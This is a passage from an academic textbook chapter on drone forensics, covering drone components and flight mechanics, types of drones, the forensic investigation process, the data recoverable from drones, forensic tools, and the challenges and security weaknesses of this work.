allowing for the discovery of several new insights that were previously impossible.
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6.1 � INTRODUCTION

Drones are relatively small remote-controlled pilotless aircraft, often known as 
unmanned aerial vehicles (UAVs) or remotely piloted aircraft systems (RPAS). 
Although the use of such drones was previously limited to defense equipment and 
those with a passion for aircraft, in recent decades, their civil usage has expanded 
significantly from military to private organizations, industries, and society at large. 
Their increasing use in a number of contexts, including business, government, the 
military, and so forth, is another indication of their appeal, which is aided in part 
by the fact that UAVs are now more reasonably priced (Al-Dhaqm et al. 2021). 
However, these practical aerial tools may also be used for a wide range of evil inten-
tions, including exhibitionism, illegal commerce, physical assault, and other criminal 
acts. Here is where drone forensics comes into play. Basically, this is a branch of 
wireless and mobile forensics. After all, a drone is essentially a smart gadget with 
sensors connected to it. The prevalence of drone-related criminal actions is increas-
ing as a result of how affordable, manageable, and accessible these devices are. In 
order to better understand urban and commercial crime, drone forensics is becoming 
more and more crucial (“What Is Drone Forensics? – Salvation DATA” 2023).

However, there is a lot of drone-related crime, such as using the drone for criminal 
purposes. There is growing concern that drones may violate no-fly zones in the future 
after they were recently seen doing so accidentally. Due to the possibility that drones 
might be used to carry out illegal or criminal activities, forensic analysts are more 
interested in researching the forensic capabilities of these technologies. Unhindered 
digital data from a captured UAV (or its remains) can actually be found, and this data 
can be used as evidence in both civil and criminal prosecutions. The broader disci-
pline of digital forensics, known as mobile and wireless forensics, includes drone 
forensics (Singh 2015). It might be utilized by terrorists to sow fear or cause other 
harm. Despite the absence of government laws and regulations governing drone 
usage, using drones might lead to criminal charges against you. It’s because 
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individuals are using their drones in violation of other laws. Trespassing, invasion of 
privacy, stalking, and violence are frequently brought against individuals. Drone 
usage for smuggling has long been a source of concern. A few states have regulations 
governing drone use and interference with necessary infrastructural facilities, and it 
is predicted that others will soon follow suit. Anyone who harms or destroys a drone 
is breaking the law since the FAA considers them to be aircraft. It’s also illegal to 
attack someone who is legally using a drone. In essence, the law treats assaulting a 
drone pilot in the same manner as an airline pilot. Laws governing drones are still 
developing; therefore, they could change in the next five to ten years. It is only one 
of many factors that make working with a lawyer crucial while facing drone-related 
charges. Drones might be just as deadly for what they see as for what they carry. A 
Utah couple who used a drone to watch people in their restrooms and bedrooms were 
charged with voyeurism in 2017. One victim chased the drone to a parking lot, found 
a memory card with questionable photographs on it, and handed the card over to the 
authorities. When a drone is used in a crime, authorities have little to go on unless 
they can recover the machine.

6.1.1 � Unmanned Aerial Vehicles

Drones, commonly referred to as UAVs, are robots that can fly on their own or be 
controlled by a variety of means, including motion controllers, cell phones, the brain, 
voice commands, gestures, and others (Figure 6.1). Drones were expensive, compli-
cated technology that was mostly used by the military until the early 2000s. Modern 
improvements in hardware and software technology enable the creation of smaller, 
less expensive systems that are also simpler to manage.

FIGURE 6.1  Unmanned aerial vehicles.
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Unmanned aerial vehicles have a wide range of practical applications, including 
surveillance, delivering freight across potentially dangerous situations, and traffic 
monitoring. Planning viable and ideal trajectories for the motion of the vehicles is 
required for the usage of UAVs in any of these applications. It’s important to recog-
nize and contextualize evolutionary tendencies in pilotless aircraft. Ideas matter 
more than technology for spotting trends because genuine change happens when 
people act differently, not when they behave the same way but use different tools. For 
instance, Rosen notes that while it took the tank 15 months from idea to manufacture, 
the World War I commanders needed an additional 40 months after the tank entered 
service to transform the way the war was conducted (Sullivan 2006). UAVs require a 
pause from ongoing development if any revolutions are to be sparked. In the part that 
follows, prospective breaks are examined, but such breaks cannot be examined in 
isolation since their potential for sudden change is intimately tied to the relationship 
between the present and the past.

6.2 � ANATOMY OF DRONE

A drone is a remotely piloted flying robot that is often constructed of lightweight 
carbon fiber. Typically, a drone has four parts: an engine, a propeller, a payload, and 
a controller. The drone’s engine, which burns either gasoline or diesel fuel, is its 
source of propulsion. A drone’s front is equipped with propellers that spin to generate 
lift and propel the aircraft through the air. The drone’s payload is primarily respon-
sible for taking aerial video and pictures. This could be a camera or sensors used 
in contemporary farming methods. The controller is what enables a user to operate 
the drone at any moment and to fly it. An LCD screen interface and rotary dials for 
navigation and flight modes make up the controller. In order to exchange information 
about potential hazards or barriers in their path, drones can also communicate with 
one another. Drones come in various models from reputable companies like DJI, 
Yuneec, and Parrot.

6.2.1 �C omponents of Drone

	 1.	Typical Propellers
A drone or quadcopter’s propellers are usually located up in front. The 
size and manufacturing material of propellers can differ greatly. Most of 
them, especially the smaller ones, are composed of plastic, while carbon 
fiber is used for the more expensive ones. The development of propellers 
for both small and large drones is now underway, and technological re-
search is continuously being conducted. The propellers of the drone are 
in charge of its movement and orientation. Verify that all of the propellers 
are in good operating order before launching your drone. An accident will 
result from a drone’s flying being hampered by a malfunctioning propeller. 
A spare set of propellers should also be kept on hand in case you start to 
notice any damage that wasn’t there before (CUDDAPAH 2019; Šustek 
and Úr ̌edníc ̌ek 2018).
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	 2.	Pushers Propellers
Pusher propellers are used to drive the drone forward and backward while 
it is in the air (Figure 6.2). As the name suggests, the pusher propellers will 
control whether the drone flies forward or backward. They frequently reside 
at the drone’s back. They work by reducing the forward or backward thrust 
produced by the drone’s motor torques during stationary flight. Like the 
normal propellers, the pusher propellers can be built of plastic or carbon fi-
ber depending on quality. Typically, carbon fiber is employed in more costly 
versions. There are a variety of sizes depending on the size of the drone. 
Pusher prop guards are a feature that some drones provide to assist protect 
your propellers in the event of an unforeseen catastrophe. How thoroughly 
you check your pusher propellers before takeoff will affect the effectiveness 
of the flight (CUDDAPAH 2019).

	 3.	Brushless Electric Motors
All modern drones employ brushless motors (Figure 6.3), which are be-
lieved to be more effective than brushed motors in terms of performance 
and operation. The design of the motor is equally as crucial as the drone’s 
overall aesthetic. This is due to the fact that an efficient motor enables you 
to reduce both your purchase and maintenance expenses. Additionally, 
you’ll conserve battery life, extending the time your drone may be flown. 
At the moment, the drone motor architecture industry is highly dynamic as 
businesses vie to provide the most powerful and well-developed motors. 
The most current product to hit the market is the DJI Inspire 1 (“Drone 
Components And What They Do | Grind Drone” 2023).

	 4.	Battery
All responses and actions are made possible by the drone’s batteries 
(Figure 6.4). The drone would be powerless and unable to fly without the 
battery. The number of batteries needed varies depending on the drone. 
Smaller drones could need less batteries because of their lower power 
needs. On the other hand, larger drones could require a battery with a higher 

FIGURE 6.2  Pushing propellers of drone.
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FIGURE 6.3  Brushless electric motor in drone.

FIGURE 6.4  Drone battery.
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capacity in order to power all of the drone’s functions. The drone has a bat-
tery meter attached to help the operator keep track of the battery’s health.

	 5.	Gear for Landing
Some drones include landing gear that resembles that of a helicopter to help 
them land (Figure 6.5). To land safely on the ground, drones that require a 
high ground clearance during landing will need to have their landing gear 
changed. Delivery drones that transport packages or other products may 
also need a roomy landing gear due to the area needed to hold the objects 
as they strike the ground. Landing gear is not necessary for every drone, 
though. Some tiny drones can fly without landing gear and touch down on 
the ground securely using their rumps as support. Like any other aircraft, 
the majority of drones with extended flying periods and ranges feature fixed 
landing gear. The landing gear may occasionally prove to be an obstruction 
to a 360-degree view of the surroundings, especially for camera drones. 
Landing gears additionally increase the safety of the drone (“Drone Compo-
nents And What They Do | Grind Drone” 2023; CUDDAPAH 2019).

	 6.	Electronic Speed Controllers
An electric circuit known as an electronic speed controller (ESC) keeps 
track of and modifies the drone’s speed while it is in flight. Additionally, 
it controls the drone’s flight path and brake adjustments. In order to power 
the brushless motors, the ESC is also responsible for converting DC bat-
tery power to AC power. All of the flying requirements and performance of 
modern drones are completely dependent on the ESC. The newest example 
of a higher-performing ESC that lowers power needs while enhancing per-
formance is the DJI Inspire 1 ESC. The drone’s mainframe is where the 
ESC is mostly located. It is unlikely that you will need to change the ESC 
in any way, but if you do, you can locate it inside the drone’s mainframe 
(CUDDAPAH 2019).

FIGURE 6.5  Gears for landing.
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	 7.	Flight Controller
The drone’s motherboard is essentially the flying controller (Figure 6.6). It 
is in charge of all orders given to the drone by the pilot. It analyzes informa-
tion from the GPS device, onboard sensors, receiver, and battery monitor. 
The drone’s steering and motor speed management are also the responsibil-
ity of the flight controller. All orders, including those for camera triggering, 
autopilot mode control, and other autonomous operations, are managed by 
the flight controller. Users very definitely won’t be asked to modify the 
flight controller because doing so might impair the drone’s performance 
(CUDDAPAH 2019).

	 8.	Transmitter
In order for the drone to receive flight and navigational directions, the trans-
mitter is responsible for relaying radio signals from the controller to the 
drone (Figure 6.7). For a drone, the transmitter must have four channels, 
but five are typically advised. The market offers a variety of receiver types 
from which drone makers can select. The receiver and transmitter need to 
use a single radio signal in order to connect with the drone when it is in the 
air. Each radio broadcast has a standard code that distinguishes it from other 
radio signals in the air (“Drone Components And What They Do | Grind 
Drone” 2023).

	 9.	The Receiver
The receiver is the device in charge of catching radio signals that the con-
troller sends to the drone. Controlling a drone typically requires a mini-
mum of four channels. Nevertheless, it is advised that five channels be made 

FIGURE 6.6  Flight controller.
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available. All of the different receiver types available on the market may be 
utilized while constructing a drone (“Drone Components And What They 
Do | Grind Drone” 2023).

	 10.	Camera
Some drones feature a removable camera, while others have one built in 
(Figure 6.8). Aerial photography is frequently done using drones, which is 
made feasible by the camera. The market offers a wide variety of camera 
models and features. These are a drone’s main building blocks. All of these 
supplies are necessary if you ever need to construct a drone. Whether used 
for aesthetic reasons or simply for recording, one of the most common drone 
capabilities will be highly beneficial in forensic and legal applications.

	 11.	GPS Module
The GPS module gives the drone its latitude, longitude, and elevation points. 
It is a crucial component of the drone. Without the GPS module, drones 
would not be as relevant today. The modules enable longer-range drone 
navigation and data collecting at specific on-land sites. The GPS module 
assists in bringing the drone “home” securely even if no first-person view 
(FPV) navigation is used. Most modern drones have a GPS module that 
helps them reconnect securely with their controllers if they lose touch with 
them. This helps to ensure the safety of the drone (CUDDAPAH 2019).

FIGURE 6.7  Radio transmitter.
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6.2.2 �F lying Mechanism of Drones

A rotary drone with four propellers and motors is known as a quadcopter. The drone 
is pulled aloft by the motor-spun propellers, which also move the air molecules. 
Once your drone is in the air, it may maneuver by spinning its four propellers at vari-
ous rates to travel forward, backward, up, down, left, and right.

There are three main axes of flight. Aerial vehicles may travel in three dimensions, 
unlike land-based vehicles. In addition to moving forward, backward, and sideways, 
they can also change their altitude. The operations of an airplane are a little more 
complicated than if you were operating a car due to the additional factor of motion. 
It’s simpler to think of an aircraft’s movements as rotations along its three main axes, 
which are one that runs forward and backward, one that runs right and left, and one 
that runs up and down. An airplane can move forward, backward, left, right, or just 
revolve in motion by turning or tilting along these various axes. These three funda-
mental axes will be referred to again as we cover yaw, pitch, and roll.

The process is explained in the subsequent steps:

	 1.	Yaw Motion
The diagonal propellers must rotate at the same speed as the yaw, also 
known as the clockwise or anticlockwise movement. Propellers 2 and 3 
travel quickly while Propellers 1 and 4 move more slowly in order to use 
yaw to rotate left. Propellers 2 and 3 rotate normally while Propellers 1 and 
4 rotate quickly to the right.

FIGURE 6.8  Camera.
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	 2.	Pitch Motion
Pitch uses propellers on the same side to move forward and backward. Pro-
pellers 1 and 2 move normally, while 3 and 4 propel the ship forward at a 
fast rate of speed. Propellers 1 and 2 accelerate to travel backward while 
Propellers 3 and 4 move forward at a normal speed.

	 3.	Roll Motion
In contrast to the preceding two actions, rolling uses the propellers to 
bend left or right. Propellers 2 and 4 move quickly to roll to the left, while 
Propellers 1 and 3 move slowly. Propellers 1 and 3 move quickly to roll to 
the right, while Propellers 2 and 4 move more slowly.

	 4.	Uphill/Downfall Movement
This one is simpler and calls for uniform movement from every drone. All 
of the propellers spin quickly when the ship is rising or moving upward, but 
slowly when it is falling or moving downward.

6.2.3 �T ypes of Drones

Drones may generally be grouped according to their performance traits. Important 
design factors that distinguish between various drone types and offer useful catego-
rization systems include weight, wing span, wing loading, range, maximum alti-
tude, speed, endurance, and production costs. Additionally, the types of engines used 
by drones may be used to categorize them (Hassanalian and Abdelkefi 2017). For 
instance, micro aerial vehicles (MAVs) employ electrical motors while UAVs fre-
quently use fuel engines. Various categories of drones are delineated in Figure 6.9.

	 1.	Unmanned Aerial Vehicle
The primary characteristics that set UAVs apart from other kinds of tiny 
drones (such as MAVs and nano air vehicles (NAVs)) are the vehicle’s in-
tended function, the materials utilized in its construction, and the complexi-
ty and expense of the control system. UAVs come in a broad range of shapes 
and sizes (Hassanalian and Abdelkefi 2017).

	 2.	Micro-Unmanned Aerial Vehicle
An UAV that is small enough to be carried by a person is known as a small 
UAV (SUAV) or μ-UAV. It often takes off without a runway and is launched 
by hand. μ-UAVs are smaller than MAVs, which a soldier can carry, and 
bigger than UAVs, which must be carried and launched by hand. UAVs 
come in a broad range of forms; they may be divided into horizontal takeoff 
and landing (HTOL), vertical takeoff and landing (VTOL), hybrid models 
(with a tilt-rotor, tilt-wing, tilt-body, and ducted fan), helicopters, ornithop-
ters (with flapping wings), ornicopters, cyclocopters, and unusual varieties 
(Hassanalian and Abdelkefi 2017).

	 3.	Micro Aerial Vehicle
MAV aircraft are tiny planes that typically have a length of less than 100 
cm and a weight of less than 2 kg. Nine categories have been established 
to classify these drones: fixed wing, flapping wing, VTOL, rotary wing, 
tilt-rotor, ducted fan, helicopter, ornicopter, and unique kinds. These drones 
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are equipped with sensors that can be optical, auditory, chemical, and bio-
logical. Aerospace, mechanical, electrical, and computer engineering are 
among the many fields that are interested in various forms of tiny air ve-
hicles. These air drones are only allowed to be less than 150 mm in length, 
breadth, or height and weigh between 50 and 100 g under the Defense Ad-
vanced Research Projects Agency (DARPA) program. However, the defini-
tion of MAV was modified following the development of NAVs and pico air 
vehicles (PAVs). As a result, the assessment considers these drones’ size to 
be between 15 cm and 100 cm and their weight to be between 50 g and 2 
kg. MAVs have a wider performance range due to their smaller size when 
compared to UAVs (Hassanalian and Abdelkefi 2017).

	 4.	Nano Air Vehicle
DARPA also launched a program on NAVs, which are described as incred-
ibly small and light drones with a maximum wing span length of 15 cm and 
a weight of less than 50 g. These drones have a maximum flight height of 
around 100 meters and a range of less than 1 km. NAVs can be built with 
fixed wings, rotary wings, or flapping wings, among other forms (Hassana-
lian and Abdelkefi 2017).

FIGURE 6.9  Types of drones.
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	 5.	Pico Air Vehicle
In recent years, researchers have made an effort to create drones that are 
similar in size to insects. In order to do this, a new class of drones known 
as Pico air vehicles was defined. There are just a few different varieties 
of PAVs because of their diminutive sizes and light weights. The designs 
employed in the PAV class include quadrotors and wings that flap. Due to 
the outstanding flight abilities of flapping insects, such as hovering, quick 
acceleration, and rapid turning, flapping wing PAVs lately attracted more in-
terest than rotary wing PAVs (quadrotor) (Hassanalian and Abdelkefi 2017).

	 6.	Smart Dust
Micro-electro-mechanical systems (MEMS), wireless sensor networks, and 
nanotechnology are being used in a broad range of applications, includ-
ing environmental monitoring, building safety, and climate management. 
The “smart dust” project, which comprises hundreds to thousands of small 
microelectron-mechanical systems that may be utilized for light, tempera-
ture, vibration, magnetism, or chemical detection, is one of the intriguing 
instances of a sensor network technology. To carry out their assigned re-
sponsibilities, these robots are often dispersed throughout a number of loca-
tions. Smart dust nodes, for instance, may be moved by winds or even hang 
suspended in the air to monitor a variety of events, including weather, air 
quality, and many more (Hassanalian and Abdelkefi 2017).

6.3 � PROCESS OF DRONE FORENSICS

Drone forensics involves the recovery, in a forensically sound way, of any data stored 
within the drone itself or held on any removable media that the drone has used. The 
recovered data is then copied again in a forensically sound way and a forensic analysis 
is then conducted on the copy of the data. Analysis of data found on a typical drone 
will more often than not recover data relating to flights, their routes, locations, alti-
tudes, times, dates, and both video and still images the drone has captured. All of this 
information can be provided in a detailed forensic report and statement to the client 
for their further investigation or for provision to the courts as an evidential package.

Drone forensics services are a valuable tool for many types of drone investigation 
including the following:

	•	 Smuggling of drugs into prisons using drones
	•	 Smuggling of mobile phones into prisons using drones
	•	 Smuggling of knives or guns into prisons using drones
	•	 Disruption of airports and air traffic using drones
	•	 Delivery of improvised explosive devices (IEDs) into stadiums or other 

venues by terrorists using drones
	•	 Invasion of privacy by press or paparazzi using drones
	•	 Espionage by intelligence agents using drones

This list is not exhaustive but provides a good flavor of the many nefarious uses of 
drones and illustrates why drone forensics is such an important capability for inves-
tigators to be able to call on (Husnjak et al. 2022).
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Following a strict scientific procedure, drone forensics presents factual evidence 
to support or refute a theory in a court of law, civil action, or other proceedings.

Below is a description of the entire drone forensics process:

The process of gathering data is the first phase, which starts with the seizure, imag-
ing, or collecting of digital evidence to record questionable media, network activity, 
and logs. The intended digital evidence consists of ownership information, flight 
data, and exchangeable image file format (EXIF) information found in recorded 
media files saved on the drone. An identical replica (forensic) picture of the original 
media evidence is made and verified when digital media are gathered.

Analysis of the picture can start in the second step once the duplicate image of the 
evidence is made. Currently, we are able to publish conclusions about a wide range 
of data kinds, including flight duration, path flight records, photos, videos, mobile 
control applications, storage, and the drone’s file system, among others. Evidence is 
gathered to reconstruct events or actions and present facts to the asking party once it 
has been gathered and examined. We were really intrigued by the following:

	 1.	Extraction of pertinent information from captured images or videos;
	 2.	Extraction of flight path data; and
	 3.	Establishment of drone ownership.

A summary of the key forensic investigation results is given in the third phase, 
together with an explanation of the technique used to derive the findings. These 
might be utilized to support or refute alibis and assertions made (Bouafif et al. 2018).

6.3.1 �T hematic Depiction of Drone Forensics

In the rapidly developing field of drone forensics, digital forensics investigators have 
a crucial role to play in supporting law enforcement organizations. Investigators must 
gather information from seized drones in order to create a trail of hints that might 
point them in the direction of a suspect.

Investigators would immediately get to work if, for instance, a drone was discov-
ered in the front yard of a prison to attempt to ascertain who owned it, how it got 
there, where it was before it crashed, where it was heading, and what it was intended 
for. They may have the best chance of success by hiring forensic experts to extract 
and analyze the critical data from the device that will aid the inquiry and provide 
answers to those kinds of questions.

There are many different kinds of drones and a variety of technological elements 
that can make data extraction exceedingly difficult, just like with other emergent 
technologies that we have been obliged to grasp for this reason. The four main steps 
in drone forensics to try to reach the extraction goal are as follows:
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	•	 Collection Considerations (Apple, Android, or a bespoke operating system?)
	•	 Physical Device Collections (memory card accessibility, internal memory?)
	•	 File System Extraction (mounted volumes?)
	•	 Files (logical file data)

The good news for forensics experts is that data from the drone may be recovered using 
Access Data technology and then used in forensic toolkit (FTK) to conduct an in-depth 
analysis (“Exterro – E-Discovery & Information Governance Software” 2023).

After gathering the important drone data files, forensics experts may start their 
examination. Search for data storage media that can provide information about the soft-
ware that controls the aircraft, an internal flash memory that stores flight logs, and an 
external SD card for pictures and movies that were captured while the drone was in the 
air. If you find memory cards containing these kinds of files, you may use established 
digital forensics procedures to image the media and assist investigators in reviewing its 
contents. Additionally, keep an eye out for any batteries connected to the drones as they 
can include helpful details that can be used to identify the device’s origins, such as serial 
numbers (“Exterro – E-Discovery & Information Governance Software” 2023).

We must consider actual crimes and situations that law enforcement organizations 
will face in order to comprehend electronically stored information (ESI) extraction 
and analysis of drones. Technical details and identification of drones might vary. The 
condition of the drone at the crime scene can change during a drone-related criminal 
investigation, ranging from a running state to a wrecked state to an operating state. 
Different investigative procedures are needed for each of these states. The test will 
cover drone components such as the camera, radio controller, and ground station 
device in addition to drone operating states and kinds. Many cutting-edge technolo-
gies, like high-resolution zoomable cameras, wireless radio frequency (RF) anten-
nas, and recording devices, may be integrated into the complex constructions of 
drones. Depending on the device, sensors can take many different shapes, including 
cameras, GPS sensors, temperature sensors, and others.

The gathered information may be kept locally on the device or transferred to an 
SD memory card. All of these instances will be looked at to see if any information 
can be gleaned. Law enforcement may use a tool like this to seize a drone that is cur-
rently in use.

	•	 Drone Shield, which can be used to track the drone back to its pilot.
	•	 Other devices, like the Drone Gun jammer (in RF-only mode), might cause 

the drone to return to its starting place, making it possible to trace the person 
operating it (“21 Types of Drones: The Ultimate List of Drone Types – 3D 
Insider” 2023). In addition, Drone Gun may be used to shoot drones out of 
the air, making it simple for law enforcement to seize the device and carry 
out the necessary investigation (Al-Room et al. 2021).

6.3.2 �D ata Storage in Drones

As previously said, drones carry a lot of data that may be retrieved from the device 
itself and the servers it communicated with while operated by a qualified and certified 
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digital forensics examiner, much like PCs and smart devices. The following informa-
tion is included:

	•	 Information about the drone’s pilot
	•	 Photos and video footage taken
	•	 Landing, launch, returning, and home locations (including popular and pre-

ferred flying locations)
	•	 Flight history (detailing the precise locations and routes taken)
	•	 Flight plans and purpose
	•	 Payload weights
	•	 Protected zone activity logs
	•	 Paired devices
	•	 The atmospheric conditions that prevailed throughout every phase of the 

trip

The digital forensics study can also reveal a number of technical data, including the 
following:

	•	 Timestamps and dates (pertaining to both geo locations, photos, and videos)
	•	 Controller ID
	•	 EXIF Metadata
	•	 flight-time GPS status
	•	 drone serial number
	•	 internal components (MAC, IMEI, IMSI)
	•	 Firmware version
	•	 Pilot control input
	•	 Pilot-configured settings
	•	 Wi-Fi data
	•	 IP
	•	 Bluetooth
	•	 3G and 4G connection status
	•	 File system data
	•	 Registry entries

A proficient forensic data analyst can also retrieve deleted files and examine how the 
drone interacts with the server with which it trades data (“What Is Drone Forensics? – 
Salvation DATA” 2023).

	 1.	The Proper Drone Forensics Methodology
The material must be protected and sent to the digital forensics lab for ad-
ditional analysis before the inquiry can start. Making a forensic picture of the 
data, which serves as a digital replica of the data, is one of the first steps in the 
investigation to ensure that the integrity of the evidence is always protected.

Additionally, we must take care to rule out any chance of data manipula-
tion from a distance. It is crucial to shut down the drone if it’s still on before 
continuing the inquiry. The technical components of the digital forensics 
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inquiry, which require cutting-edge methods like file carving during the fo-
rensic examination, are then carried out. Keep in mind that the investigation 
must be carefully recorded at every stage in order for the evidence to be 
admissible in court.

We may access the file system and examine which files we can recover 
from the storage medium after identifying the operating system and firm-
ware. We continue with the extraction if EXIF optimum sensor metadata is 
present. We also examine the seized UAVs for telemetry data, GPS data, and 
flight route data during the procedure.

We also make an effort to determine who owns the drone (“The His-
tory of Drones in 10 Milestones | Digital Trends” 2023). If the device runs 
Android OS, a unique identification is provided to it. By working with the 
right legal authorities, a digital forensics analyst can use this identifier to re-
veal the device’s genuine owner (“Gizmodo | Tech. Science. Culture.” 2023). 
Remember that there are also conventional forensic techniques that will be 
used in the inquiry. It also entails removing DNA and fingerprint samples 
from the device and preserving them in line with current forensic standards.

A thorough digital forensics report must be written as the last step in 
the drone forensics process. This has historically been a labor- and time-
intensive process. But now that this aspect of the process may be fully auto-
mated, owing to the digital forensic lab, a forensic data analyst can devote 
more time and effort to solving the case and learning the truth about what 
happened (“What Is Drone Forensics? – Salvation DATA” 2023).

6.3.3 �F orensics Tools for Drone Forensics

A large volume of drones now has apps designed for mobile devices. Many of the 
control units will use your phone as the brains of the controller – the app will be the 
interface and the remote view for any sort of camera you might have on the drone 
and the base unit itself.

Because of this, forensic software is now designed to identify and recover data 
from drone apps as well. The ability to decode data from drone-related apps is a huge 
development in the industry. It also shows that experts are switched on to the fact that 
phones can be the source of flight data for drones.

For validation and testing for drone data in the laboratory, we use data on phones 
to corroborate what we find from the device itself.

	 1.	MD-DRONE
A forensic software for extracting and analyzing data from the various data 
source of UAV/drone from global manufacturers such as DJI, Parrot, and 
Pixhawk. Data can be extracted through an aircraft USB, network, SD card, 
or chip-off, and the extraction guide will be supported for each method. 
Flight log values and GPS-based drone flight history with multimedia data 
that is captured by drone aircraft can be analyzed. Analyzed results can be 
exported as reports in PDF format based on the bookmarked content.
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Features

	•	 Provides various extraction methods for a wide range of drone devices
	•	 Timeline-based integrated flight data analysis
	•	 Supports flight log and multimedia data view
	•	 Bookmark and alarm notification
	•	 Report and multimedia data exportation
	•	 Provides supported drone device list
	•	 Drone accident analysis by Al and machine learning

A drone performs many similar tasks to a computer. It can come with a video camera 
and other sensors in addition to a data storage device like an SD card, USB ports, and 
a CPU. This makes it possible for a digital forensic video analyst to examine the film 
recorded during the flight and utilize cutting-edge industry technologies like VIP 2.0 
to put together the missing details of the incident.

This sector of the economy is vulnerable to disruption by artificial intelligence 
(AI) technology due to the method through which we undertake digital forensics 
investigations. Forensic investigators and law enforcement personnel are faced with 
a huge and sometimes complicated data collection that needs to be gathered, evalu-
ated, and analyzed in every serious case. While this has been happening, the majority 
of agencies have been unable to obtain budget increases large enough for them to add 
the IT and human resources required to meet these increasing demands (“What Is 
Drone Forensics? – Salvation DATA” 2023).

6.4 � APPLICATION OF DRONE IN FORENSICS

Technology places a high value on drone forensics, which has a variety of uses in the 
economic, civic, recreational, educational, law enforcement, and national security 
fields (Eliot and Lance 2021). A forensic data analyst can gather crucial digital evi-
dence that can reveal the truth (including identifying the device’s legitimate owner) 
from one of these devices by extracting a lot of data from it, making it eligible for 
examination. Even if the drone has crashed while in flight, this is still a possibility.

	•	 A drone can carry out many things that a computer can. Along with a data 
storage device like an SD card, USB ports, and a CPU, it may also have a 
camera and other sensors. This enables a digital forensic video analyst to 
fill in the blanks in the story and ascertain what transpired by searching for 
cutting-edge industrial solutions like VIP 2.0.

	•	 Drones offer speedy delivery and access to pharmaceuticals, blood, and 
medical equipment in distant places, and they may also assist forensic 
investigators in delivering any volatile chemical that requires a bigger tool 
to analyze and cannot be taken to the crime scene.

	•	 If there are any deadly chemicals or bombs, a drone might be useful in 
collecting such dangerous objects and remotely dropping them in regions 
where humans would not be impacted.

	•	 As a result, they are also being utilized in illicit operations, including smug-
gling, espionage, and monitoring.
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	•	 Drone forensics entails looking at the actual drone as well as any data or 
images that may have been saved on the drone or its onboard camera. This 
may entail figuring out the drone’s maker and model, retrieving deleted or 
hidden files, and examining flight logs and GPS data.

6.5 � CHALLENGES OF DRONE FORENSICS

Digital forensic investigators may find it difficult to undertake a full forensic study of 
drones for the following main reasons:

	 a.	Small unmanned aerial system (UAS) components that make up the tan-
gible evidence in a forensic investigation, such as servers, radio controllers, 
and drones, can be scattered across the scene. It might be challenging to 
establish a reliable forensic link between a seized drone and the associated 
radio controller in order to establish ownership (Eliot and Lance 2021).

	 b.	Due to the multiplicity of digital containers present in a typical UAV aircraft, 
it is extremely difficult for a digital forensic analyst to rely on a single foren-
sic instrument to collect all the data necessary for the forensic investigation.

	 c.	 In some cases, it may not be feasible or even possible to capture a forensic 
picture of the data from a flying UAV camera without affecting its integrity. 
Several drones come equipped with USB connections for forensic imaging 
applications, preventing unauthorized access to the disc directly as a result, 
forensic investigators must use wireless connections to perform a remote 
forensic imaging approach (Eliot and Lance 2021).

	 d.	 It can be difficult for the investigator to simply plug in a piece of foren-
sic equipment and retrieve the digital evidence from some embedded data 
storage devices (such as the flight controller chip’s recorded flight data). 
Furthermore, as mentioned in the section on potential access restrictions, it 
might not be possible to include the operating system files and content in the 
forensic image; in this case, the forensic analysts would need to establish a 
Telnet session with the UAV and use common commands to browse system 
folders and configuration files.

	 e.	The owner of a drone that has been seized may use remote wipe-out features 
or factory reset, just like with smartphones, endangering the entire forensic 
investigative process (Horsman 2016).

	 f.	Similar to other small-scale digital devices, drones mainly rely on volatile 
memory, and if the battery dies, the flight data stored inside would be lost. 
Additionally, certain sensor data can be planned to be sent to a secure server 
housed in a private or public cloud, transmitted to a file-sharing or social 
networking website, or both.

	 g.	Software, hardware, and firmware for the onboard drone are not yet stan-
dardized and differ between vendors. For instance, neither a uniform for-
mat for the flight data nor a de facto standard protocol for flight controllers 
exists at the moment. Users can also improve a drone’s capabilities by add-
ing new parts or by altering it using Software Development Kits (SDKs), 
which are made available by the majority of drone manufacturers.
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6.6 � LIMITATIONS OF DRONE FORENSICS

Maintaining current with the quick developments in the newest technology is a con-
tinual struggle. Future civilization is starting to take form as more people use drones 
for both personal and business reasons. Finding flight paths, potential errors, colli-
sions, and associated material (photos and videos) stored on the system’s devices is 
difficult when performing digital forensics on drones and related devices that are 
part of the UAS. These might make it easier for the investigator to comprehend the 
drone’s goal, if the operation was successful, the persons or assets involved, and 
the causes of any potential damage or collision. To prevent the inquiry from being 
contested in court, the conclusions drawn from electronic evidence must adhere 
to a set of standards (McKemmish 2008). Even though they are necessary to track 
down and reconstruct any potential attack event, drone forensics is not now a top 
focus. Therefore, effective and portable forensic tools are needed to aid in identify-
ing, tracking down, locating, and conserving digital evidences and their associated 
sources (Noura et al. 2019). Additionally, because cloud storage has no boundaries, 
this aspect should be taken into account; a good example would be evidence on a 
server hosted in a third country. In reality, as noted by National Institute of Standards 
and Technology (NIST), cloud forensics also face several difficulties. A summary of 
the constraints of drones in forensics is presented in Figure 6.10.

FIGURE 6.10  Limitations of drone forensics.
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Drones must go through extensive testing to determine their threat level if they 
end up in the wrong hands. To avoid any security issue that an attacker may exploit, 
the programs that control the drones must be evaluated. Designing automated drone 
penetration testing is one approach. Current drone protection systems do not contain 
the three primary steps of detection, correction, and protection. Drones and UAVs are 
typically vulnerable to frequency assaults, which quickly bring them down. Drones 
are more susceptible to de-authentication and jamming assaults because they lack 
frequency hopping. The greatest remedy incorporates the capability to change fre-
quencies in order to thwart such assaults.

Furthermore, tools are still being developed by both malicious threat actors and 
ethical hackers as a result of which conflict of these relations occurs, raising doubts 
about the veracity of the evidence from such technology. Drones are still a develop-
ing field that may require a lot of resources if strict laws are not also implemented. 
This will harm the organization and cause the loss of crucial data that could have 
been stored in memory.

6.6.1 � Vulnerabilities in Drone Forensics

Every advantage has a drawback, and drones are no exception. If drones are used in 
legal aspects, their disadvantages should be taken into consideration as well, such as 
the fact that digital evidence is hardly ever reliable in court due to its nature of state, 
as all electronics are susceptible to security attacks. Given that drones are already 
employed in enforcement agencies, academia, healthcare, and commercial services 
like agribusiness, development, transportation, gas and oil production as well as avia-
tion inspection, the ramifications of the security issues are much greater for businesses 
and organizations. Several additional businesses, like Google, Microsoft, Wal-Mart, 
Apple, Amazon, and Royal Mail, are anticipated to deploy drones to support their 
commercial operations. The mere fact that the program built in the drone is regarded 
as a standard and is widely recognized does not imply that it is always correct and is 
pure in its correctness. The software could contain undiscovered flaws like zero-day 
vulnerabilities; the most recent version could include new bugs or other problems, 
etc., which could render the process problematic and prevent us from fully relying 
on such technologies (Eliot and Lance 2021). These privacy issues are getting worse 
as unmanned aircraft security concerns become more widespread. Hackers have the 
capacity to attack the drone’s centralized management system and seize control. It is 
